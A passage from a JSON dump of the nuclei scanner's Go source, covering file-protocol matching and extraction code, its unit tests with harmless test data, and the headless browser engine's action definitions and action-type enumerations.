file\n\t\t\t\t\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tfileStat, _ := fi.Stat()\n\t\t\t\t\ttmpFileOut, err := os.CreateTemp(\"\", \"\")\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tgologger.Error().Msgf(\"%s\\n\", err)\n\t\t\t\t\t\t// error while elaborating the file\n\t\t\t\t\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tdefer func() {\n\t\t\t\t\t\tif err := tmpFileOut.Close(); err != nil {\n\t\t\t\t\t\t\tpanic(fmt.Errorf(\"could not close: %+v\", err))\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif err := os.Remove(tmpFileOut.Name()); err != nil {\n\t\t\t\t\t\t\tpanic(fmt.Errorf(\"could not remove: %+v\", err))\n\t\t\t\t\t\t}\n\t\t\t\t\t}()\n\t\t\t\t\t_, err = io.Copy(tmpFileOut, reader)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tgologger.Error().Msgf(\"%s\\n\", err)\n\t\t\t\t\t\t// error while elaborating the file\n\t\t\t\t\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\t_ = tmpFileOut.Sync()\n\t\t\t\t\t// rewind the file\n\t\t\t\t\t_, _ = tmpFileOut.Seek(0, 0)\n\t\t\t\t\tevent, fileMatches, err := request.processReader(tmpFileOut, filePath, input, fileStat.Size(), previous)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tif errors.Is(err, errEmptyResult) {\n\t\t\t\t\t\t\t// no matches but one file elaborated\n\t\t\t\t\t\t\trequest.options.Progress.IncrementRequests()\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\t\t\t\t\t\tgologger.Error().Msgf(\"%s\\n\", err)\n\t\t\t\t\t\t// error while elaborating the file\n\t\t\t\t\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tdumpResponse(event, request.options, fileMatches, filePath)\n\t\t\t\t\tcallback(event)\n\t\t\t\t\t// file elaborated and matched\n\t\t\t\t\trequest.options.Progress.IncrementRequests()\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\t// normal file - increments the counter by 1\n\t\t\t\trequest.options.Progress.AddToTotal(1)\n\t\t\t\tevent, fileMatches, err := request.processFile(filePath, input, previous)\n\t\t\t\tif err != nil {\n\t\t\t\t\tif errors.Is(err, errEmptyResult) {\n\t\t\t\t\t\t// no matches but one file elaborated\n\t\t\t\t\t\trequest.options.Progress.IncrementRequests()\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tgologger.Error().Msgf(\"%s\\n\", err)\n\t\t\t\t\t// error while elaborating the file\n\t\t\t\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tdumpResponse(event, request.options, fileMatches, filePath)\n\t\t\t\tcallback(event)\n\t\t\t\t// file elaborated and matched\n\t\t\t\trequest.options.Progress.IncrementRequests()\n\t\t\t}\n\t\t}(filePath)\n\t})\n\n\twg.Wait()\n\tif err != nil {\n\t\trequest.options.Output.Request(request.options.TemplatePath, input.MetaInput.Input, request.Type().String(), err)\n\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\treturn errors.Wrap(err, \"could not send file request\")\n\t}\n\treturn nil\n}\n\nfunc (request *Request) processFile(filePath string, input *contextargs.Context, previousInternalEvent output.InternalEvent) (*output.InternalWrappedEvent, []FileMatch, error) {\n\tfile, err := os.Open(filePath)\n\tif err != nil {\n\t\treturn nil, nil, errors.Errorf(\"Could not open file path %s: %s\\n\", filePath, err)\n\t}\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\n\tstat, err := file.Stat()\n\tif err != nil {\n\t\treturn nil, nil, errors.Errorf(\"Could not stat file path %s: %s\\n\", filePath, err)\n\t}\n\tif stat.Size() >= request.maxSize {\n\t\tmaxSizeString := units.HumanSize(float64(request.maxSize))\n\t\tgologger.Verbose().Msgf(\"Limiting %s processed data to %s bytes: exceeded max size\\n\", filePath, maxSizeString)\n\t}\n\n\treturn request.processReader(file, filePath, input, stat.Size(), previousInternalEvent)\n}\n\nfunc (request *Request) processReader(reader io.Reader, filePath string, input *contextargs.Context, totalBytes int64, previousInternalEvent output.InternalEvent) (*output.InternalWrappedEvent, []FileMatch, error) {\n\tfileReader := io.LimitReader(reader, request.maxSize)\n\tfileMatches, opResult := request.findMatchesWithReader(fileReader, input, filePath, totalBytes, previousInternalEvent)\n\tif opResult == nil && len(fileMatches) == 0 {\n\t\treturn nil, nil, errEmptyResult\n\t}\n\n\t// build event structure to interface with internal logic\n\treturn request.buildEvent(input.MetaInput.Input, filePath, fileMatches, opResult, previousInternalEvent), fileMatches, nil\n}\n\nfunc (request *Request) findMatchesWithReader(reader io.Reader, input *contextargs.Context, filePath string, totalBytes int64, previous output.InternalEvent) ([]FileMatch, *operators.Result) {\n\tvar bytesCount, linesCount, wordsCount int\n\tisResponseDebug := request.options.Options.Debug || request.options.Options.DebugResponse\n\ttotalBytesString := units.BytesSize(float64(totalBytes))\n\n\t// we are forced to check if the whole file needs to be elaborated\n\t// - matchers-condition option set to AND\n\thasAndCondition := request.CompiledOperators.GetMatchersCondition() == matchers.ANDCondition\n\t// - any matcher has AND condition\n\tfor _, matcher := range request.CompiledOperators.Matchers {\n\t\tif hasAndCondition {\n\t\t\tbreak\n\t\t}\n\t\tif matcher.GetCondition() == matchers.ANDCondition {\n\t\t\thasAndCondition = true\n\t\t}\n\t}\n\n\tscanner := bufio.NewScanner(reader)\n\tbuffer := []byte{}\n\tif hasAndCondition {\n\t\tscanner.Buffer(buffer, int(defaultMaxReadSize))\n\t\tscanner.Split(func(data []byte, atEOF bool) (advance int, token []byte, err error) {\n\t\t\tdefaultMaxReadSizeInt := int(defaultMaxReadSize)\n\t\t\tif len(data) > defaultMaxReadSizeInt {\n\t\t\t\treturn defaultMaxReadSizeInt, data[0:defaultMaxReadSizeInt], nil\n\t\t\t}\n\t\t\tif !atEOF {\n\t\t\t\treturn 0, nil, nil\n\t\t\t}\n\t\t\treturn len(data), data, bufio.ErrFinalToken\n\t\t})\n\t} else {\n\t\tscanner.Buffer(buffer, int(chunkSize))\n\t}\n\n\tvar fileMatches []FileMatch\n\tvar opResult *operators.Result\n\tfor scanner.Scan() {\n\t\tlineContent := scanner.Text()\n\t\tn := len(lineContent)\n\n\t\t// update counters\n\t\tcurrentBytes := bytesCount + n\n\t\tprocessedBytes := units.BytesSize(float64(currentBytes))\n\n\t\tgologger.Verbose().Msgf(\"[%s] Processing file %s chunk %s/%s\", request.options.TemplateID, filePath, processedBytes, totalBytesString)\n\t\tdslMap := request.responseToDSLMap(lineContent, input.MetaInput.Input, filePath)\n\t\tmaps.Copy(dslMap, previous)\n\t\t// add vars to template context\n\t\trequest.options.AddTemplateVars(input.MetaInput, request.Type(), request.ID, dslMap)\n\t\t// add template context variables to DSL map\n\t\tif request.options.HasTemplateCtx(input.MetaInput) {\n\t\t\tdslMap = generators.MergeMaps(dslMap, request.options.GetTemplateCtx(input.MetaInput).GetAll())\n\t\t}\n\t\tdiscardEvent := eventcreator.CreateEvent(request, dslMap, isResponseDebug)\n\t\tnewOpResult := discardEvent.OperatorsResult\n\t\tif newOpResult != nil {\n\t\t\tif opResult == nil {\n\t\t\t\topResult = newOpResult\n\t\t\t} else {\n\t\t\t\topResult.Merge(newOpResult)\n\t\t\t}\n\t\t\tif newOpResult.Matched || newOpResult.Extracted {\n\t\t\t\tif newOpResult.Extracts != nil {\n\t\t\t\t\tfor expr, extracts := range newOpResult.Extracts {\n\t\t\t\t\t\tfor _, extract := range extracts {\n\t\t\t\t\t\t\tfileMatches = append(fileMatches, FileMatch{\n\t\t\t\t\t\t\t\tData:      extract,\n\t\t\t\t\t\t\t\tExtract:   true,\n\t\t\t\t\t\t\t\tLine:      linesCount + 1,\n\t\t\t\t\t\t\t\tByteIndex: bytesCount,\n\t\t\t\t\t\t\t\tExpr:      expr,\n\t\t\t\t\t\t\t\tRaw:       lineContent,\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif newOpResult.Matches != nil {\n\t\t\t\t\tfor expr, matches := range newOpResult.Matches {\n\t\t\t\t\t\tfor _, match := range matches {\n\t\t\t\t\t\t\tfileMatches = append(fileMatches, FileMatch{\n\t\t\t\t\t\t\t\tData:      match,\n\t\t\t\t\t\t\t\tMatch:     true,\n\t\t\t\t\t\t\t\tLine:      linesCount + 1,\n\t\t\t\t\t\t\t\tByteIndex: bytesCount,\n\t\t\t\t\t\t\t\tExpr:      expr,\n\t\t\t\t\t\t\t\tRaw:       lineContent,\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfor _, outputExtract := range newOpResult.OutputExtracts {\n\t\t\t\t\tfileMatches = append(fileMatches, FileMatch{\n\t\t\t\t\t\tData:      outputExtract,\n\t\t\t\t\t\tMatch:     true,\n\t\t\t\t\t\tLine:      linesCount + 1,\n\t\t\t\t\t\tByteIndex: bytesCount,\n\t\t\t\t\t\tExpr:      outputExtract,\n\t\t\t\t\t\tRaw:       lineContent,\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tcurrentLinesCount := 1 + strings.Count(lineContent, \"\\n\")\n\t\tlinesCount += currentLinesCount\n\t\twordsCount += strings.Count(lineContent, \" \")\n\t\tbytesCount = currentBytes\n\t}\n\treturn fileMatches, opResult\n}\n\nfunc (request *Request) buildEvent(input, filePath string, fileMatches []FileMatch, operatorResult *operators.Result, previous output.InternalEvent) *output.InternalWrappedEvent {\n\texprLines := make(map[string][]int)\n\texprBytes := make(map[string][]int)\n\tinternalEvent := request.responseToDSLMap(\"\", input, filePath)\n\tmaps.Copy(internalEvent, previous)\n\tfor _, fileMatch := range fileMatches {\n\t\texprLines[fileMatch.Expr] = append(exprLines[fileMatch.Expr], fileMatch.Line)\n\t\texprBytes[fileMatch.Expr] = append(exprBytes[fileMatch.Expr], fileMatch.ByteIndex)\n\t}\n\tevent := eventcreator.CreateEventWithOperatorResults(request, internalEvent, operatorResult)\n\t// Annotate with line numbers if asked by the user\n\tif request.options.Options.ShowMatchLine {\n\t\tfor _, result := range event.Results {\n\t\t\tswitch {\n\t\t\tcase result.MatcherName != \"\":\n\t\t\t\tresult.Lines = exprLines[result.MatcherName]\n\t\t\tcase result.ExtractorName != \"\":\n\t\t\t\tresult.Lines = exprLines[result.ExtractorName]\n\t\t\tdefault:\n\t\t\t\tfor _, extractedResult := range result.ExtractedResults {\n\t\t\t\t\tresult.Lines = append(result.Lines, exprLines[extractedResult]...)\n\t\t\t\t}\n\t\t\t}\n\t\t\tresult.Lines = sliceutil.Dedupe(result.Lines)\n\t\t}\n\t}\n\treturn event\n}\n\nfunc dumpResponse(event *output.InternalWrappedEvent, requestOptions *protocols.ExecutorOptions, filematches []FileMatch, filePath string) {\n\tcliOptions := requestOptions.Options\n\tif cliOptions.Debug || cliOptions.DebugResponse {\n\t\tfor _, fileMatch := range filematches {\n\t\t\tlineContent := fileMatch.Raw\n\t\t\thexDump := false\n\t\t\tif responsehighlighter.HasBinaryContent(lineContent) {\n\t\t\t\thexDump = true\n\t\t\t\tlineContent = hex.Dump([]byte(lineContent))\n\t\t\t}\n\t\t\thighlightedResponse := responsehighlighter.Highlight(event.OperatorsResult, lineContent, cliOptions.NoColor, hexDump)\n\t\t\tgologger.Debug().Msgf(\"[%s] Dumped match/extract file snippet for %s at line %d\\n\\n%s\", requestOptions.TemplateID, filePath, fileMatch.Line, highlightedResponse)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/file/request_test.go",
    "content": "package file\n\nimport (\n\t\"archive/zip\"\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"context\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\tpermissionutil \"github.com/projectdiscovery/utils/permission\"\n)\n\nfunc zipFile(t *testing.T, fileName string, data []byte) []byte {\n\tvar b bytes.Buffer\n\tw := zip.NewWriter(&b)\n\tw1, err := w.Create(fileName)\n\trequire.NoError(t, err)\n\t_, err = w1.Write(data)\n\trequire.NoError(t, err)\n\terr = w.Close()\n\trequire.NoError(t, err)\n\treturn b.Bytes()\n}\n\nfunc gzipFile(t *testing.T, data []byte) []byte {\n\tvar b bytes.Buffer\n\tw := gzip.NewWriter(&b)\n\t_, err := w.Write(data)\n\trequire.NoError(t, err)\n\terr = w.Close()\n\trequire.NoError(t, err)\n\treturn b.Bytes()\n}\n\nfunc TestFileExecuteWithResults(t *testing.T) {\n\tvar testCaseBase = []byte(\"TEST\\r\\n1.1.1.1\\r\\n\")\n\tconst testCaseBaseFilename = \"config.yaml\"\n\tvar testCases = []struct {\n\t\tfileName string\n\t\tdata     []byte\n\t}{\n\t\t{\n\t\t\tfileName: testCaseBaseFilename,\n\t\t\tdata:     testCaseBase,\n\t\t},\n\t\t{\n\t\t\tfileName: testCaseBaseFilename + \".gz\",\n\t\t\tdata:     gzipFile(t, testCaseBase),\n\t\t},\n\t\t{\n\t\t\tfileName: \"config.yaml.zip\",\n\t\t\tdata:     zipFile(t, testCaseBaseFilename, testCaseBase),\n\t\t},\n\t}\n\n\tfor _, tt := range testCases {\n\t\toptions := testutils.DefaultOptions\n\n\t\ttestutils.Init(options)\n\t\ttemplateID := \"testing-file\"\n\t\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\t\tID:   templateID,\n\t\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t\t})\n\n\t\trequest := &Request{\n\t\t\tID:          templateID,\n\t\t\tMaxSize:     \"1Gb\",\n\t\t\tNoRecursive: false,\n\t\t\tExtensions:  []string{\"all\"},\n\t\t\tDenyList:    []string{\".go\"},\n\t\t\tArchive:     true,\n\t\t\tOperators: operators.Operators{\n\t\t\t\tMatchers: []*matchers.Matcher{{\n\t\t\t\t\tName:  \"test\",\n\t\t\t\t\tPart:  \"raw\",\n\t\t\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\t\t\tWords: []string{\"1.1.1.1\"},\n\t\t\t\t}},\n\t\t\t\tExtractors: []*extractors.Extractor{{\n\t\t\t\t\tPart:  \"raw\",\n\t\t\t\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.RegexExtractor},\n\t\t\t\t\tRegex: []string{\"[0-9]+\\\\.[0-9]+\\\\.[0-9]+\\\\.[0-9]+\"},\n\t\t\t\t}},\n\t\t\t},\n\t\t\toptions: executerOpts,\n\t\t}\n\t\terr := request.Compile(executerOpts)\n\t\trequire.Nil(t, err, \"could not compile file request\")\n\n\t\ttempDir, err := os.MkdirTemp(\"\", \"test-*\")\n\t\trequire.Nil(t, err, \"could not create temporary directory\")\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(tempDir)\n\t\t}()\n\n\t\tfiles := map[string][]byte{\n\t\t\ttt.fileName: tt.data,\n\t\t}\n\t\tfor k, v := range files {\n\t\t\terr = os.WriteFile(filepath.Join(tempDir, k), v, permissionutil.TempFilePermission)\n\t\t\trequire.Nil(t, err, \"could not write temporary file\")\n\t\t}\n\n\t\tvar finalEvent *output.InternalWrappedEvent\n\t\tt.Run(\"valid\", func(t *testing.T) {\n\t\t\tmetadata := make(output.InternalEvent)\n\t\t\tprevious := make(output.InternalEvent)\n\t\t\tctxArgs := contextargs.NewWithInput(context.Background(), tempDir)\n\t\t\terr := request.ExecuteWithResults(ctxArgs, metadata, previous, func(event *output.InternalWrappedEvent) {\n\t\t\t\tfinalEvent = event\n\t\t\t})\n\t\t\trequire.Nil(t, err, \"could not execute file request\")\n\t\t})\n\t\trequire.NotNil(t, finalEvent, \"could not get event output from request\")\n\t\trequire.Equal(t, 1, len(finalEvent.Results), \"could not get correct number of results\")\n\t\trequire.Equal(t, \"test\", finalEvent.Results[0].MatcherName, \"could not get correct matcher name of results\")\n\t\trequire.Equal(t, 1, len(finalEvent.Results[0].ExtractedResults), \"could not get correct number of extracted results\")\n\t\trequire.Equal(t, \"1.1.1.1\", finalEvent.Results[0].ExtractedResults[0], \"could not get correct extracted results\")\n\t\tfinalEvent = nil\n\t}\n}\n\nfunc TestFileProtocolConcurrentExecution(t *testing.T) {\n\ttempDir, err := os.MkdirTemp(\"\", \"nuclei-test-*\")\n\trequire.NoError(t, err)\n\n\tdefer func() {\n\t\t_ = os.RemoveAll(tempDir)\n\t}()\n\n\tnumFiles := 5\n\tfor i := range numFiles {\n\t\tcontent := \"TEST_CONTENT_MATCH_DATA\"\n\t\tfilePath := filepath.Join(tempDir, \"test_\"+string(rune('0'+i))+\".txt\")\n\t\terr := os.WriteFile(filePath, []byte(content), permissionutil.TempFilePermission)\n\t\trequire.NoError(t, err)\n\t}\n\n\toptions := testutils.DefaultOptions\n\ttestutils.Init(options)\n\ttemplateID := \"testing-file-concurrent\"\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\n\tvar timesMutex sync.Mutex\n\tvar processedFiles int64\n\n\trequest := &Request{\n\t\tID:          templateID,\n\t\tMaxSize:     \"1Gb\",\n\t\tNoRecursive: false,\n\t\tExtensions:  []string{\"txt\"},\n\t\tArchive:     false,\n\t\tOperators: operators.Operators{\n\t\t\tMatchers: []*matchers.Matcher{{\n\t\t\t\tName:  \"test\",\n\t\t\t\tPart:  \"raw\",\n\t\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\t\tWords: []string{\"TEST_CONTENT_MATCH_DATA\"},\n\t\t\t}},\n\t\t},\n\t\toptions: executerOpts,\n\t}\n\n\terr = request.Compile(executerOpts)\n\trequire.NoError(t, err)\n\n\tinput := contextargs.NewWithInput(context.Background(), tempDir)\n\tvar results []*output.InternalWrappedEvent\n\tvar resultMutex sync.Mutex\n\n\tstartTime := time.Now()\n\terr = request.ExecuteWithResults(input, make(output.InternalEvent), make(output.InternalEvent), func(event *output.InternalWrappedEvent) {\n\t\tatomic.AddInt64(&processedFiles, 1)\n\t\tresultMutex.Lock()\n\t\tresults = append(results, event)\n\t\tresultMutex.Unlock()\n\n\t\t// small delay to make timing differences more observable\n\t\ttime.Sleep(10 * time.Millisecond)\n\t})\n\ttotalTime := time.Since(startTime)\n\trequire.NoError(t, err)\n\n\tfinalProcessedFiles := atomic.LoadInt64(&processedFiles)\n\tt.Logf(\"Total execution time: %v\", totalTime)\n\tt.Logf(\"Files processed: %d\", finalProcessedFiles)\n\tt.Logf(\"Results returned: %d\", len(results))\n\n\t// test 1: all files should be processed\n\trequire.Equal(t, int64(numFiles), finalProcessedFiles, \"Not all files were processed\")\n\n\t// test 2: verify callback invocation timing shows concurrency\n\ttimesMutex.Lock()\n\tdefer timesMutex.Unlock()\n}\n"
  },
  {
    "path": "pkg/protocols/headless/engine/action.go",
    "content": "package engine\n\nimport (\n\t\"strings\"\n\n\t\"github.com/invopop/jsonschema\"\n)\n\n// Action is an action taken by the browser to reach a navigation\n//\n// Each step that the browser executes is an action. Most navigations\n// usually start from the ActionLoadURL event, and further navigations\n// are discovered on the found page. We also keep track and only\n// scrape new navigation from pages we haven't crawled yet.\ntype Action struct {\n\t// description:\n\t//   Args contain arguments for the headless action.\n\t//\n\t//   Per action arguments are described in detail [here](https://nuclei.projectdiscovery.io/templating-guide/protocols/headless/).\n\tData map[string]string `yaml:\"args,omitempty\" json:\"args,omitempty\" jsonschema:\"title=arguments for headless action,description=Args contain arguments for the headless action\"`\n\t// description: |\n\t//   Name is the name assigned to the headless action.\n\t//\n\t//   This can be used to execute code, for instance in browser\n\t//   DOM using script action, and get the result in a variable\n\t//   which can be matched upon by nuclei. An Example template [here](https://github.com/projectdiscovery/nuclei-templates/blob/main/headless/prototype-pollution-check.yaml).\n\tName string `yaml:\"name,omitempty\" json:\"name,omitempty\" jsonschema:\"title=name for headless action,description=Name is the name assigned to the headless action\"`\n\t// description: |\n\t//   Description is the optional description of the headless action\n\tDescription string `yaml:\"description,omitempty\" json:\"description,omitempty\" jsonschema:\"title=description for headless action,description=Description of the headless action\"`\n\t// description: |\n\t//   Action is the type of the action to perform.\n\tActionType ActionTypeHolder `yaml:\"action\" json:\"action\" jsonschema:\"title=action to perform,description=Type of actions to perform,enum=navigate,enum=script,enum=click,enum=rightclick,enum=text,enum=screenshot,enum=time,enum=select,enum=files,enum=waitload,enum=getresource,enum=extract,enum=setmethod,enum=addheader,enum=setheader,enum=deleteheader,enum=setbody,enum=waitevent,enum=keyboard,enum=debug,enum=sleep\"`\n}\n\nfunc (a Action) JSONSchemaExtend(schema *jsonschema.Schema) {\n\targsSchema, ok := schema.Properties.Get(\"args\")\n\tif !ok {\n\t\treturn\n\t}\n\targsSchema.PatternProperties = map[string]*jsonschema.Schema{\n\t\t\".*\": {\n\t\t\tOneOf: []*jsonschema.Schema{\n\t\t\t\t{\n\t\t\t\t\tType: \"string\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tType: \"integer\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tType: \"boolean\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\targsSchema.Ref = \"\"\n}\n\n// String returns the string representation of an action\nfunc (a *Action) String() string {\n\tbuilder := &strings.Builder{}\n\tbuilder.WriteString(a.ActionType.String())\n\tif a.Name != \"\" {\n\t\tbuilder.WriteString(\" Name:\")\n\t\tbuilder.WriteString(a.Name)\n\t}\n\tbuilder.WriteString(\" \")\n\tfor k, v := range a.Data {\n\t\tbuilder.WriteString(k)\n\t\tbuilder.WriteString(\":\")\n\t\tbuilder.WriteString(v)\n\t\tbuilder.WriteString(\",\")\n\t}\n\treturn strings.TrimSuffix(builder.String(), \",\")\n}\n\n// GetArg returns an arg for a name\nfunc (a *Action) GetArg(name string) string {\n\tv, ok := a.Data[name]\n\tif !ok {\n\t\treturn \"\"\n\t}\n\treturn v\n}\n"
  },
  {
    "path": "pkg/protocols/headless/engine/action_types.go",
    "content": "package engine\n\nimport (\n\t\"errors\"\n\t\"strings\"\n\n\t\"github.com/invopop/jsonschema\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n)\n\n// ActionType defines the action type for a browser action\ntype ActionType int8\n\n// ActionData stores the action output data\ntype ActionData = mapsutil.Map[string, any]\n\n// Types to be executed by the user.\n// name:ActionType\nconst (\n\t// ActionNavigate performs a navigation to the specified URL\n\t// name:navigate\n\tActionNavigate ActionType = iota + 1\n\t// ActionScript executes a JS snippet on the page.\n\t// name:script\n\tActionScript\n\t// ActionClick performs the left-click action on an Element.\n\t// name:click\n\tActionClick\n\t// ActionRightClick performs the right-click action on an Element.\n\t// name:rightclick\n\tActionRightClick\n\t// ActionTextInput performs an action for a text input\n\t// name:text\n\tActionTextInput\n\t// ActionScreenshot performs the screenshot action writing to a file.\n\t// name:screenshot\n\tActionScreenshot\n\t// ActionTimeInput performs an action on a time input.\n\t// name:time\n\tActionTimeInput\n\t// ActionSelectInput performs an action on a select input.\n\t// name:select\n\tActionSelectInput\n\t// ActionFilesInput performs an action on a file input.\n\t// name:files\n\tActionFilesInput\n\t// ActionWaitDOM waits for the HTML document has been completely loaded & parsed.\n\t// name:waitdom\n\tActionWaitDOM\n\t// ActionWaitFCP waits for the first piece of content (text, image, etc.) is painted on the screen.\n\t// name:waitfcp\n\tActionWaitFCP\n\t// ActionWaitFMP waits for page has rendered enough meaningful content to be useful to the user.\n\t// name:waitfmp\n\tActionWaitFMP\n\t// ActionWaitIdle waits for the network is completely idle (no ongoing network requests).\n\t// name:waitidle\n\tActionWaitIdle\n\t// ActionWaitLoad waits for the page and all its resources (like stylesheets and images) have finished loading.\n\t// name:waitload\n\tActionWaitLoad\n\t// ActionWaitStable waits until the page is stable.\n\t// name:waitstable\n\tActionWaitStable\n\t// ActionGetResource performs a get resource action on an element\n\t// name:getresource\n\tActionGetResource\n\t// ActionExtract performs an extraction on an element\n\t// name:extract\n\tActionExtract\n\t// ActionSetMethod sets the request method\n\t// name:setmethod\n\tActionSetMethod\n\t// ActionAddHeader adds a header to the request\n\t// name:addheader\n\tActionAddHeader\n\t// ActionSetHeader sets a header in the request\n\t// name:setheader\n\tActionSetHeader\n\t// ActionDeleteHeader deletes a header from the request\n\t// name:deleteheader\n\tActionDeleteHeader\n\t// ActionSetBody sets the value of the request body\n\t// name:setbody\n\tActionSetBody\n\t// ActionWaitEvent waits for a specific event.\n\t// name:waitevent\n\tActionWaitEvent\n\t// ActionWaitDialog waits for JavaScript dialog (alert, confirm, prompt, or onbeforeunload).\n\t// name:dialog\n\tActionWaitDialog\n\t// ActionKeyboard performs a keyboard action event on a page.\n\t// name:keyboard\n\tActionKeyboard\n\t// ActionDebug debug slows down headless and adds a sleep to each page.\n\t// name:debug\n\tActionDebug\n\t// ActionSleep executes a sleep for a specified duration\n\t// name:sleep\n\tActionSleep\n\t// ActionWaitVisible waits until an element appears.\n\t// name:waitvisible\n\tActionWaitVisible\n\t// limit\n\tlimit\n)\n\n// ActionStringToAction converts an action from string to internal representation\nvar ActionStringToAction = map[string]ActionType{\n\t\"navigate\":     ActionNavigate,\n\t\"script\":       ActionScript,\n\t\"click\":        ActionClick,\n\t\"rightclick\":   ActionRightClick,\n\t\"text\":         ActionTextInput,\n\t\"screenshot\":   ActionScreenshot,\n\t\"time\":         ActionTimeInput,\n\t\"select\":       ActionSelectInput,\n\t\"files\":        ActionFilesInput,\n\t\"waitdom\":      ActionWaitDOM,\n\t\"waitfcp\":      ActionWaitFCP,\n\t\"waitfmp\":      ActionWaitFMP,\n\t\"waitidle\":     ActionWaitIdle,\n\t\"waitload\":     ActionWaitLoad,\n\t\"waitstable\":   ActionWaitStable,\n\t\"getresource\":  ActionGetResource,\n\t\"extract\":      ActionExtract,\n\t\"setmethod\":    ActionSetMethod,\n\t\"addheader\":    ActionAddHeader,\n\t\"setheader\":    ActionSetHeader,\n\t\"deleteheader\": ActionDeleteHeader,\n\t\"setbody\":      ActionSetBody,\n\t\"waitevent\":    ActionWaitEvent,\n\t\"waitdialog\":   ActionWaitDialog,\n\t\"keyboard\":     ActionKeyboard,\n\t\"debug\":        ActionDebug,\n\t\"sleep\":        ActionSleep,\n\t\"waitvisible\":  ActionWaitVisible,\n}\n\n// ActionToActionString converts an action from  internal representation to string\nvar ActionToActionString = map[ActionType]string{\n\tActionNavigate:     \"navigate\",\n\tActionScript:       \"script\",\n\tActionClick:        \"click\",\n\tActionRightClick:   \"rightclick\",\n\tActionTextInput:    \"text\",\n\tActionScreenshot:   \"screenshot\",\n\tActionTimeInput:    \"time\",\n\tActionSelectInput:  \"select\",\n\tActionFilesInput:   \"files\",\n\tActionWaitDOM:      \"waitdom\",\n\tActionWaitFCP:      \"waitfcp\",\n\tActionWaitFMP:      \"waitfmp\",\n\tActionWaitIdle:     \"waitidle\",\n\tActionWaitLoad:     \"waitload\",\n\tActionWaitStable:   \"waitstable\",\n\tActionGetResource:  \"getresource\",\n\tActionExtract:      \"extract\",\n\tActionSetMethod:    \"setmethod\",\n\tActionAddHeader:    \"addheader\",\n\tActionSetHeader:    \"setheader\",\n\tActionDeleteHeader: \"deleteheader\",\n\tActionSetBody:      \"setbody\",\n\tActionWaitEvent:    \"waitevent\",\n\tActionWaitDialog:   \"waitdialog\",\n\tActionKeyboard:     \"keyboard\",\n\tActionDebug:        \"debug\",\n\tActionSleep:        \"sleep\",\n\tActionWaitVisible:  \"waitvisible\",\n}\n\n// GetSupportedActionTypes returns list of supported types\nfunc GetSupportedActionTypes() []ActionType {\n\tvar result []ActionType\n\tfor index := ActionType(1); index < limit; index++ {\n\t\tresult = append(result, index)\n\t}\n\treturn result\n}\n\nfunc toActionTypes(valueToMap string) (ActionType, error) {\n\tnormalizedValue := normalizeValue(valueToMap)\n\tfor key, currentValue := range ActionToActionString {\n\t\tif normalizedValue == currentValue {\n\t\t\treturn key, nil\n\t\t}\n\t}\n\treturn -1, errors.New(\"Invalid action type: \" + valueToMap)\n}\n\nfunc normalizeValue(value string) string {\n\treturn strings.TrimSpace(strings.ToLower(value))\n}\n\nfunc (t ActionType) String() string {\n\treturn ActionToActionString[t]\n}\n\n// ActionTypeHolder is used to hold internal type of the action\ntype ActionTypeHolder struct {\n\tActionType ActionType `mapping:\"true\"`\n}\n\nfunc (holder ActionTypeHolder) String() string {\n\treturn holder.ActionType.String()\n}\nfunc (holder 